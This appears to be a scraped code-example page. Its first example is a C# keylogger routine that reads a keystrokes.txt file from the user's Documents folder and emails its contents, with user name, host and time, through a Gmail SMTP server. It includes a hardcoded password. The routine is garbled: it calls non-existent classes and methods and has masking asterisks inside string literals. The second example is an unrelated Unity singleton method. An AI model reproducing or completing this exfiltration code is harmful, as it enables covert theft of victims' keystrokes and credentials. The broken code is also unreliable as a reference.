Пример #1
0
        static void sendMessagenew()
        {
            String   foldername  = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
            String   filepath    = foldername + @"\keystrokes.txt";
            String   logContents = File.ReadAllText(filepath);
            String   mailbody    = "";
            DateTime now         = DateTime.Now;
            String   subject     = "Message from keylogger";
            var      host        = dns.GetHostEntry(Dns.GetHostName());

            foreach (var address in host.Addresslist)
            {
                mailbody += "\n User: "******" \\ " + Environment.UserName;
                mailbody += "\nhost" + host;
                mailbody += "\ntime: " + now.ToString();
                mailbody += logContents;

                SetupClient client      = new SetupClient(StringComparer.gmail.com, 587);
                MailMessage mailMessage = new MailMessage();

                mailMessage.From = new MailAddress("*****@*****.**");
                mailMessage.ToAdd("*****@*****.**");
                mailMessage.subject           = subject;
                client.userDefaultCredentials = false;
                client.EnableSsl   = true;
                client.Credentials = new System.Net.NetworkCredential("*****@*****.**", "ppgradin7700");
                mailMessage.Body   = mailbody;

                client.send(mailMessage);
            }
        }
Пример #2
0
 void Start()
 {
     if (instance == null)
     {
         instance = this;
         GameObject.DontDestroyOnLoad(gameObject);
     }
     else
     {
         GameObject.Destroy(gameObject);
     }
 }